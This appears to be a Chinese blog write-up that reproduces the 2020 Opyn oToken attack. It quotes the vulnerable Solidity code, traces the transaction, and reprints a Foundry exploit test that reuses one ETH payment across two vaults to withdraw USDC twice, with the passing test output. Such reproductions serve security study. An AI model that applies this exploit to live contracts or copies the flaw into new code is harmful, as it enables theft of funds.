Skip to main content

Command Palette

Search for a command to run...

defi 攻击复现 Opyn

Published
11 min readView as Markdown
C
酷愛計算機技術Ardently Love Computer Technology 長期關註反洗錢反欺詐Long-term Focus on Anti-Money Laundering and Anti-Fraud 精通支付結算的技術、系統、流程和製度Proficient in the Technology, System, Process and Institution of Payment and Settlement
  • 涉及到的交易和地址

攻击发生的交易 https://etherscan.io/tx/0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a

USDC (USDC) 合约地址 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48

攻击合约地址 0xe7870231992Ab4b1A01814FA0A599115FE94203f

受害者 oToken 合约地址 0x951D51bAeFb72319d9FBE941E1615938d89ABfe2

  • 可视化

https://app.blocksec.com/explorer/tx/eth/0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a

  • 交易详情
Transaction Hash:0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a
Status:Success
Block:10592517
Timestamp:1853 days ago (Aug-04-2020 09:41:56 AM UTC)

From:0x915C2D6f571d3d47A182Dd59D5F41e87d4c3fb8E
Interacted With (To):0xe7870231992Ab4b1A01814FA0A599115FE94203f

Internal Transactions:
Transfer30 ETH $133,759.49 From 0xe7870231...5FE94203f To 0x951D51bA...8d89ABfe2 
Transfer30 ETH $133,759.49 From 0x951D51bA...8d89ABfe2 To 0xe7870231...5FE94203f 

ERC-20 Tokens Transferred: 6 
From 0xe7870231...5FE94203f To 0x951D51bA...8d89ABfe2 For 9,900 $9,898.05 USDC (USDC)
From Null: 0x000...000 To 0xe7870231...5FE94203f For 30 ERC20 *** 
From 0xe7870231...5FE94203f To Null: 0x000...000 For 30 ERC20 ***
From 0x951D51bA...8d89ABfe2 To 0xe7870231...5FE94203f For 9,900 $9,898.05 USDC (USDC)
From 0xe7870231...5FE94203f To Null: 0x000...000 For30 ERC20 ***
From 0x951D51bA...8d89ABfe2 To 0xe7870231...5FE94203f For 9,900 $9,898.05 USDC (USDC)

Input Data:
0xfad517ac00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000100000000000000000000000001bdb7ada61c82e951b9ed9f0d312dc9af0ba0f200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000011e1a300
  • oToken 合约源码
oToken 合约源码
contracts/oToken.sol

line 1084-1183
/**
 * @title Opyn's Options Contract
 * @author Opyn
 */
contract OptionsContract is Ownable, ERC20 {
...
    // Keeps track of the weighted collateral and weighted debt for each vault.
    struct Vault {
        uint256 collateral;
        uint256 oTokensIssued;
        uint256 underlying;
        bool owned;
    }

    OptionsExchange public optionsExchange;

    mapping(address => Vault) internal vaults;

    address payable[] internal vaultOwners;
...
    // The time of expiry of the options contract
    uint256 public expiry;
...
    // The collateral asset

    IERC20 public collateral;

    // The asset being protected by the insurance

    IERC20 public underlying;

    // The asset in which insurance is denominated in.
    IERC20 public strike;
...

line 1379-1399
    /**
     * @notice Checks if a `owner` has already created a Vault
     * @param owner The address of the supposed owner
     * @return true or false
     */
    function hasVault(address payable owner) public view returns (bool) {
        return vaults[owner].owned;
    }
    /**
     * @notice Creates a new empty Vault and sets the owner of the vault to be the msg.sender.
     */
    function openVault() public notExpired returns (bool) {
        require(!hasVault(msg.sender), "Vault already created");

        vaults[msg.sender] = Vault(0, 0, 0, true);
        vaultOwners.push(msg.sender);

        emit VaultOpened(msg.sender);
        return true;
    }
...

line 1426-1453
    /**
     * @notice If the collateral type is any ERC20, anyone can call this function any time before
     * expiry to increase the amount of collateral in a Vault. Can only transfer in the collateral asset.
     * Will fail if ETH is the collateral asset.
     * The user has to allow the contract to handle their ERC20 tokens on his behalf before these
     * functions are called.
     * Remember that adding ERC20 collateral even if no oTokens have been created can put the owner at a
     * risk of losing the collateral. Ensure that you issue and immediately sell the oTokens!
     * (Either call the createAndSell function in the oToken contract or batch the
     * addERC20Collateral, issueOTokens and sell transactions and ensure they happen atomically to protect
     * the end user).
     * @param vaultOwner the index of the Vault to which collateral will be added.
     * @param amt the amount of collateral to be transferred in.
     */
    function addERC20Collateral(address payable vaultOwner, uint256 amt)
        public
        notExpired
        returns (uint256)
    {
        require(
            collateral.transferFrom(msg.sender, address(this), amt),
            "Could not transfer in collateral tokens"
        );
        require(hasVault(vaultOwner), "Vault does not exist");

        emit ERC20CollateralAdded(vaultOwner, amt, msg.sender);
        return _addCollateral(vaultOwner, amt);
    }

line 1484-1520
    /**
     * @notice Called by anyone holding the oTokens and underlying during the
     * exercise window i.e. from `expiry - windowSize` time to `expiry` time. The caller
     * transfers in their oTokens and corresponding amount of underlying and gets
     * `strikePrice * oTokens` amount of collateral out. The collateral paid out is taken from
     * the each vault owner starting with the first and iterating until the oTokens to exercise
     * are found.
     * NOTE: This uses a for loop and hence could run out of gas if the array passed in is too big!
     * @param oTokensToExercise the number of oTokens being exercised.
     * @param vaultsToExerciseFrom the array of vaults to exercise from.
     */
    function exercise(
        uint256 oTokensToExercise,
        address payable[] memory vaultsToExerciseFrom
    ) public payable {
        for (uint256 i = 0; i < vaultsToExerciseFrom.length; i++) {
            address payable vaultOwner = vaultsToExerciseFrom[i];
            require(
                hasVault(vaultOwner),
                "Cannot exercise from a vault that doesn't exist"
            );
            Vault storage vault = vaults[vaultOwner];
            if (oTokensToExercise == 0) {
                return;
            } else if (vault.oTokensIssued >= oTokensToExercise) {
                _exercise(oTokensToExercise, vaultOwner);
                return;
            } else {
                oTokensToExercise = oTokensToExercise.sub(vault.oTokensIssued);
                _exercise(vault.oTokensIssued, vaultOwner);
            }
        }
        require(
            oTokensToExercise == 0,
            "Specified vaults have insufficient collateral"
        );
    }


line 1539-1569
    /**
     * @notice This function is called to issue the option tokens. Remember that issuing oTokens even if they
     * haven't been sold can put the owner at a risk of not making premiums on the oTokens. Ensure that you
     * issue and immidiately sell the oTokens! (Either call the createAndSell function in the oToken contract
     * of batch the issueOTokens transaction with a sell transaction and ensure it happens atomically).
     * @dev The owner of a Vault should only be able to have a max of
     * repo.collateral * collateralToStrike / (minminCollateralizationRatio * strikePrice) tokens issued.
     * @param oTokensToIssue The number of o tokens to issue
     * @param receiver The address to send the oTokens to
     */
    function issueOTokens(uint256 oTokensToIssue, address receiver)
        public
        notExpired
    {
        //check that we're properly collateralized to mint this number, then call _mint(address account, uint256 amount)
        require(hasVault(msg.sender), "Vault does not exist");

        Vault storage vault = vaults[msg.sender];

        // checks that the vault is sufficiently collateralized
        uint256 newOTokensBalance = vault.oTokensIssued.add(oTokensToIssue);
        require(isSafe(vault.collateral, newOTokensBalance), "unsafe to mint");

        // issue the oTokens
        vault.oTokensIssued = newOTokensBalance;
        _mint(receiver, oTokensToIssue);

        emit IssuedOTokens(receiver, oTokensToIssue, msg.sender);
        return;
    }

line 1570-1586
    /**
     * @notice Returns the vault for a given address
     * @param vaultOwner the owner of the Vault to return
     */
    function getVault(address payable vaultOwner)
        public
        view
        returns (uint256, uint256, uint256, bool)
    {
        Vault storage vault = vaults[vaultOwner];
        return (
            vault.collateral,
            vault.oTokensIssued,
            vault.underlying,
            vault.owned
        );
    }

line 1784-1806
    /**
     * @notice This function calculates and returns the amount of collateral in the vault
    */
    function getCollateral(address payable vaultOwner)
        internal
        view
        returns (uint256)
    {
        Vault storage vault = vaults[vaultOwner];
        return vault.collateral;
    }

    /**
     * @notice This function calculates and returns the amount of puts issued by the Vault
    */
    function getOTokensIssued(address payable vaultOwner)
        internal
        view
        returns (uint256)
    {
        Vault storage vault = vaults[vaultOwner];
        return vault.oTokensIssued;
    }

line 1808-1903
    /**
     * @notice Called by anyone holding the oTokens and underlying during the
     * exercise window i.e. from `expiry - windowSize` time to `expiry` time. The caller
     * transfers in their oTokens and corresponding amount of underlying and gets
     * `strikePrice * oTokens` amount of collateral out. The collateral paid out is taken from
     * the specified vault holder. At the end of the expiry window, the vault holder can redeem their balance
     * of collateral. The vault owner can withdraw their underlying at any time.
     * The user has to allow the contract to handle their oTokens and underlying on his behalf before these functions are called.
     * @param oTokensToExercise the number of oTokens being exercised.
     * @param vaultToExerciseFrom the address of the vaultOwner to take collateral from.
     * @dev oTokenExchangeRate is the number of underlying tokens that 1 oToken protects.
     */
    function _exercise(
        uint256 oTokensToExercise,
        address payable vaultToExerciseFrom
    ) internal {
        // 1. before exercise window: revert
        require(
            isExerciseWindow(),
            "Can't exercise outside of the exercise window"
        );

        require(hasVault(vaultToExerciseFrom), "Vault does not exist");

        Vault storage vault = vaults[vaultToExerciseFrom];
        require(oTokensToExercise > 0, "Can't exercise 0 oTokens");
        // Check correct amount of oTokens passed in)
        require(
            oTokensToExercise <= vault.oTokensIssued,
            "Can't exercise more oTokens than the owner has"
        );
        // Ensure person calling has enough oTokens
        require(
            balanceOf(msg.sender) >= oTokensToExercise,
            "Not enough oTokens"
        );

        // 1. Check sufficient underlying
        // 1.1 update underlying balances
        uint256 amtUnderlyingToPay = underlyingRequiredToExercise(
            oTokensToExercise
        );
        vault.underlying = vault.underlying.add(amtUnderlyingToPay);

        // 2. Calculate Collateral to pay
        // 2.1 Payout enough collateral to get (strikePrice * oTokens) amount of collateral
        uint256 amtCollateralToPay = calculateCollateralToPay(
            oTokensToExercise,
            Number(1, 0)
        );

        // 2.2 Take a small fee on every exercise
        uint256 amtFee = calculateCollateralToPay(
            oTokensToExercise,
            transactionFee
        );
        totalFee = totalFee.add(amtFee);

        uint256 totalCollateralToPay = amtCollateralToPay.add(amtFee);
        require(
            totalCollateralToPay <= vault.collateral,
            "Vault underwater, can't exercise"
        );

        // 3. Update collateral + oToken balances
        vault.collateral = vault.collateral.sub(totalCollateralToPay);
        vault.oTokensIssued = vault.oTokensIssued.sub(oTokensToExercise);

        // 4. Transfer in underlying, burn oTokens + pay out collateral
        // 4.1 Transfer in underlying
        if (isETH(underlying)) {
            require(msg.value == amtUnderlyingToPay, "Incorrect msg.value");
        } else {
            require(
                underlying.transferFrom(
                    msg.sender,
                    address(this),
                    amtUnderlyingToPay
                ),
                "Could not transfer in tokens"
            );
        }
        // 4.2 burn oTokens
        _burn(msg.sender, oTokensToExercise);

        // 4.3 Pay out collateral
        transferCollateral(msg.sender, amtCollateralToPay);

        emit Exercise(
            amtUnderlyingToPay,
            amtCollateralToPay,
            msg.sender,
            vaultToExerciseFrom
        );

    }

line 1905-1919
    /**
     * @notice adds `_amt` collateral to `vaultOwner` and returns the new balance of the vault
     * @param vaultOwner the index of the vault
     * @param amt the amount of collateral to add
     */
    function _addCollateral(address payable vaultOwner, uint256 amt)
        internal
        notExpired
        returns (uint256)
    {
        Vault storage vault = vaults[vaultOwner];
        vault.collateral = vault.collateral.add(amt);

        return vault.collateral;
    }

line 1921-1926
    /**
     * @notice checks if a hypothetical vault is safe with the given collateralAmt and oTokensIssued
     * @param collateralAmt The amount of collateral the hypothetical vault has
     * @param oTokensIssued The amount of oTokens generated by the hypothetical vault
     * @return true or false
     */

line 2098-2186

/**
 * @title Opyn's Options Contract
 * @author Opyn
 */

contract oToken is OptionsContract {
    /**
    * @param _collateral The collateral asset
    * @param _collExp The precision of the collateral (-18 if ETH)
    * @param _underlying The asset that is being protected
    * @param _underlyingExp The precision of the underlying asset
    * @param _oTokenExchangeExp The precision of the `amount of underlying` that 1 oToken protects
    * @param _strikePrice The amount of strike asset that will be paid out
    * @param _strikeExp The precision of the strike asset (-18 if ETH)
    * @param _strike The asset in which the insurance is calculated
    * @param _expiry The time at which the insurance expires
    * @param _optionsExchange The contract which interfaces with the exchange + oracle
    * @param _oracleAddress The address of the oracle
    * @param _windowSize UNIX time. Exercise window is from `expiry - _windowSize` to `expiry`.
    */
    constructor(
        IERC20 _collateral,
        int32 _collExp,
        IERC20 _underlying,
        int32 _underlyingExp,
        int32 _oTokenExchangeExp,
        uint256 _strikePrice,
        int32 _strikeExp,
        IERC20 _strike,
        uint256 _expiry,
        OptionsExchange _optionsExchange,
        address _oracleAddress,
        uint256 _windowSize
    )
...
    /**
     * @notice adds ETH collateral, and mints new oTokens in one step to an existing Vault
     * Remember that creating oTokens can put the owner at a risk of losing the collateral
     * if an exercise event happens.
     * The sell function provides the owner a chance to earn premiums.
     * Ensure that you create and immediately sell oTokens atmoically.
     * @param amtToCreate number of oTokens to create
     * @param receiver address to send the Options to
     */
    function addETHCollateralOption(uint256 amtToCreate, address receiver)
        public
        payable
    {
        addETHCollateral(msg.sender);
        issueOTokens(amtToCreate, receiver);
    }

line 2228-2264
    /**
     * @notice opens a Vault, adds ERC20 collateral, and mints new oTokens in one step
     * Remember that creating oTokens can put the owner at a risk of losing the collateral
     * if an exercise event happens.
     * The sell function provides the owner a chance to earn premiums.
     * Ensure that you create and immediately sell oTokens atmoically.
     * @param amtToCreate number of oTokens to create
     * @param amtCollateral amount of collateral added
     * @param receiver address to send the Options to
     */
    function createERC20CollateralOption(
        uint256 amtToCreate,
        uint256 amtCollateral,
        address receiver
    ) external {
        openVault();
        addERC20CollateralOption(amtToCreate, amtCollateral, receiver);
    }

    /**
     * @notice adds ERC20 collateral, and mints new oTokens in one step
     * Remember that creating oTokens can put the owner at a risk of losing the collateral
     * if an exercise event happens.
     * The sell function provides the owner a chance to earn premiums.
     * Ensure that you create and immediately sell oTokens atmoically.
     * @param amtToCreate number of oTokens to create
     * @param amtCollateral amount of collateral added
     * @param receiver address to send the Options to
     */
    function addERC20CollateralOption(
        uint256 amtToCreate,
        uint256 amtCollateral,
        address receiver
    ) public {
        addERC20Collateral(msg.sender, amtCollateral);
        issueOTokens(amtToCreate, receiver);
    }
  • 交易过程

step1

oToken 合约.addERC20CollateralOption 函数

传入参数:创建的 oToken 数量=30 oETH,抵押物数量=9900 USDC, oToken 接收者=攻击者

内部 addERC20Collateral(msg.sender, amtCollateral) 函数

传入参数:保险库所有者=消息发送者,保险库内该所有者抵押物数量=本次添加的数量 addERC20Collateral

内部检查[抵押物是否已经从 msg.sender 转移到当前合约],内部 _addCollateral(vaultOwner, amt)函数

传入参数:保险库所有者=消息发送者,本次添加的数量

oToken 合约.addERC20CollateralOption 函数

内部 issueOTokens(amtToCreate, receiver) 函数

传入参数:签发的 oToken 数量=创建的 oToken 数量=30 oETH, oToken 接收者=攻击者 issueOTokens(amtToCreate, receiver) 内部 _mint(receiver, oTokensToIssue) 函数

传入参数:oToken 接收者=攻击者,签发的 oToken 数量=创建的 oToken 数量=30 oETH

执行结果:

攻击者[消息发送者]向 oToken 合约转移 9900 USDC 作为抵押物;攻击者[消息发送者]获得 oToken 合约签发的 30 oETH

step2

oToken 合约.exercise 函数

传入参数:行权的 oToken 数量=60 oETH,准备行权的保险库地址数组=[攻击者,0x01bdb7ada61c82e951b9ed9f0d312dc9af0ba0f2],以及[msg.value]=30 ETH

内部 _exercise(oTokensToExercise, vaultOwner) 函数

传入参数:同 exercise 函数

函数体:检查[行权窗口期],通过;检查[准备行权的保险库地址数组 是否已经建立了保险库],通过;检查[保险库内的已签发 oToken 数量 与 准备行权的 oToken 数量 关系],通过;检查[基础资产是否充足,由传入的 准备行权的 oToken 数量计算得出 需要支付的基础资产数量];计算[需要支付的抵押物数量];更新[抵押物余额和 oToken 余额];转移基础资产+销毁 oToken +支付抵押物

在[转移基础资产+销毁 oToken +支付抵押物]环节:检查[基础资产是否为 ETH ];如果[是],检查[msg.value 是否等于 需要支付的基础资产数量]。实际传入的就是 ETH[因为msg.value =30 ETH],所以 if 语句成立;下一步就是销毁[准备行权的 oToken ]以及[向 msg.sender 转移抵押物];释放[行权]事件[需要支付的基础资产数量=30 ETH,需要支付的抵押物=9900 USDC,行权人=攻击者,准备行权的保险库地址=攻击者]

[攻击者]作为[准备行权的保险库地址]执行完毕,但 oToken 合约.exercise 函数并未结束,因为传入的[准备行权的保险库地址]是数组,共两个地址,第一个是[攻击者];第二个是[0x01bdb7ada61c82e951b9ed9f0d312dc9af0ba0f2]

于是对该地址执行 exercise 函数逻辑,传入参数都一样

执行结果:

[准备行权的保险库地址数组]第一个元素也就是[攻击者] oToken 合约销毁[攻击者的 30 oETH];然后[把抵押物转移给 msg.sender 也就是 攻击者,转移数量 9900 USDC]

[准备行权的保险库地址数组]第一个元素也就是[0x01bdb7ada61c82e951b9ed9f0d312dc9af0ba0f2] oToken 合约销毁[攻击者的 30 oETH];然后[把抵押物转移给 msg.sender 也就是 攻击者,转移数量 9900 USDC]

攻击者输入的 oTokensToExercise 为 60 oETH,所以合约在验证了第二个地址符合条件的情况下,依旧会将余额转给 msg.sender,也就是攻击者。这就使得攻击者可以获得两次 9900 USDC,从而获得利润

  • EXP

https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-08/Opyn_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;

import "forge-std/Test.sol";
import "./interface.sol";

/*
@Analysis 
https://medium.com/opyn/opyn-eth-put-exploit-post-mortem-1a009e3347a8

@Transaction
0x56de6c4bd906ee0c067a332e64966db8b1e866c7965c044163a503de6ee6552a*/

// 攻击合约
contract ContractTest is Test {
    IOpyn opyn = IOpyn(0x951D51bAeFb72319d9FBE941E1615938d89ABfe2);// oToken 合约地址,定义为接口实例,便可使用其函数

    address attacker = 0xe7870231992Ab4b1A01814FA0A599115FE94203f;// 攻击者地址

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);// 按照 foundry 说明文档,通过使用作弊码地址(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)来提供作弊码

    IUSDC usdc = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);// USDC 合约地址,定义为接口实例,便可使用其函数

    function setUp() public {
        cheats.createSelectFork("mainnet", 10_592_516); // 分叉攻击发生的前一区块,因为攻击发生在 10592517
    }

    function test_attack() public {
        cheats.startPrank(attacker);// 按照 foundry 说明文档,startPrank 函数设置 attacker 用于所有后续调用,直到调用 stopPrank 为止

        uint256 balBefore = usdc.balanceOf(attacker) / 1e6;// 攻击之前的攻击者 USDC 余额
        console.log("Attacker USDC balance before is    ", balBefore);
        console.log("------EXPLOIT-----");

        //Adds ERC20 collateral, and mints new oTokens in one step
        uint256 amtToCreate = 300_000_000;// 添加抵押物,创建 oToken 数量 30 oETH
        uint256 amtCollateral = 9_900_000_000;// 抵押物数量 9900 USDC 
        opyn.addERC20CollateralOption(amtToCreate, amtCollateral, attacker);// 参数传入 oToken 合约的 addERC20CollateralOption 函数

        //create an arry of vaults
        address payable[] memory _arr = new address payable[](2);// 构建[准备行权的保险库地址数组],长度为 2
        _arr[0] = payable(0xe7870231992Ab4b1A01814FA0A599115FE94203f);// 数组第一个元素[攻击者]
        _arr[1] = payable(0x01BDb7Ada61C82E951b9eD9F0d312DC9Af0ba0f2);// 数组第二个元素[0x01BDb7Ada61C82E951b9eD9F0d312DC9Af0ba0f2]

        //The attacker excercises the put option on two different valuts using the same msg.value
        opyn.exercise{value: 30 ether}(600_000_000, _arr);// 调用 oToken 合约的 exercise 函数,传入参数 oToken 数量 60 oETH,[准备行权的保险库地址数组],同时 msg.value 30 ETH

        //remove share of underlying after excercise
        opyn.removeUnderlying();// 移除基础资产

        uint256 balAfter = usdc.balanceOf(attacker) / 1e6;// 攻击之后的攻击者 USDC 余额
        console.log("Attacker USDC balance after is     ", balAfter);
        console.log("Attacker profit is                  ", balAfter - balBefore);
    }
}
  • 使用 forge 命令测试结果
$ forge test Opyn_exp.t.sol -vvv
[?] Compiling...
[?] Compiling 20 files with Solc 0.8.17
[?] Solc 0.8.17 finished in 4.54s
Compiler run successful with warnings:

Ran 1 test for test/Opyn_exp.t.sol:ContractTest
[PASS] test_attack() (gas: 214568)
Logs:
  Attacker USDC balance before is     68504
  ------EXPLOIT-----
  Attacker USDC balance after is      78404
  Attacker profit is                   9900
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 14.53s (12.36s CPU time)
Ran 1 test suite in 14.55s (14.53s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
  • 主要参考文章
https://zhuanlan.zhihu.com/p/170034892

https://www.panewslab.com/zh/articles/D42661729

https://www.jinse.cn/blockchain/777079.html

More from this blog

Penetration Test、Python、Weaponization

721 posts

微信 smartcat9999 反欺詐Anti-Fraud 反洗錢Anti-Money Laundering 反逃稅Anti-Tax Evasion 滲透測試Penetration Test 武器化Weaponization